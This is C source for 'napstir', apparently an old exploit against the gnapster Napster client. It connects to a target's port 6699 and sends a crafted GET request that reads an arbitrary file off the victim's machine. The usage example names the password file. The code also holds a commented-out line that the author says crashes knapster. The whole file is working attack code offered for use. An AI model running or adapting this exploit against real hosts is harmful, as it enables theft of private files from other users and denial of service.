/* napstir by Derek Callaway <super@udel.edu> -- S@IRC *
 * Exploits a gnapster bug... (probably exists in other clients, too.)
 * Greetings: inNUENdo, s0ftpj, napster
 * I discovered some service denial techniques while coding; see below.
 */ 
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<unistd.h>
#include<ctype.h>
void vexit(const char *func){perror(func);exit(EXIT_FAILURE);}
int main(int argc,char**argv){
	int sock,port,len;
	struct hostent *he;
	char str[4096],buf[4096],*sln,*op,c;
	struct sockaddr_in ta;
	if(argc<3){
		printf("napstir by S\n");
		printf("usage: %s host file [port] [username]\n",argv[0]);
		printf("example: %s metallica.com ",argv[0]); 
		printf("\"\\etc\\passwd\" 6699\n");
		printf("default port is 6699\n");
		printf("default username is Lamer (usually not required)\n");
		exit(EXIT_SUCCESS);
	}
	if(!(he=gethostbyname(argv[1])))vexit("gethostbyname");
	ta.sin_family=AF_INET;
	ta.sin_addr=*((struct in_addr*)he->h_addr);
	if(argv[3]){
		port=strtol(argv[3],(char**)0,10);
		if(errno==ERANGE)vexit("strtol");
	} else port=6699;
	ta.sin_port=htons(port);
	memset(&ta.sin_zero,0,sizeof(ta.sin_zero));
	if((sock=socket(AF_INET,SOCK_STREAM,0))<0)vexit("socket");
	if(connect(sock,(struct sockaddr*)&ta,sizeof(struct sockaddr))<0)
		vexit("connect");
	/* I wonder what this byte is for. */
	recv(sock,&buf,1,0);
	/* 9 is the code for T1 bitrate -- Most clients ignore the username 
	 * field. 
	 */
	sprintf(str,"%s \"%s\" 9",(argc>=4)?argv[4]:"Lamer",argv[2]);
	send(sock,"GET",3,0);
	send(sock,(char*)str,strlen(str),0);
	/*  * SERVICE DENIAL CODE *
         *  Uncomment this line if you'd like to crash knapster. :-)
         *  send(sock,"0",1);
         */
	if(!(op=sln=(char*)malloc(1024)))vexit("malloc");
	do {
		read(sock,&c,1);
		sprintf(sln,"%c",c);
		sln++;
	} while(isdigit(c));
	*sln=0;
	sln=op;
	len=strtol(sln,(char**)0,10);
	if(errno==ERANGE)vexit("strtol");
	write(STDOUT_FILENO,&c,1);
	if((port=read(sock,&buf,len-1))<0)vexit("read");
	write(STDOUT_FILENO,buf,port);
	exit(EXIT_SUCCESS);
}
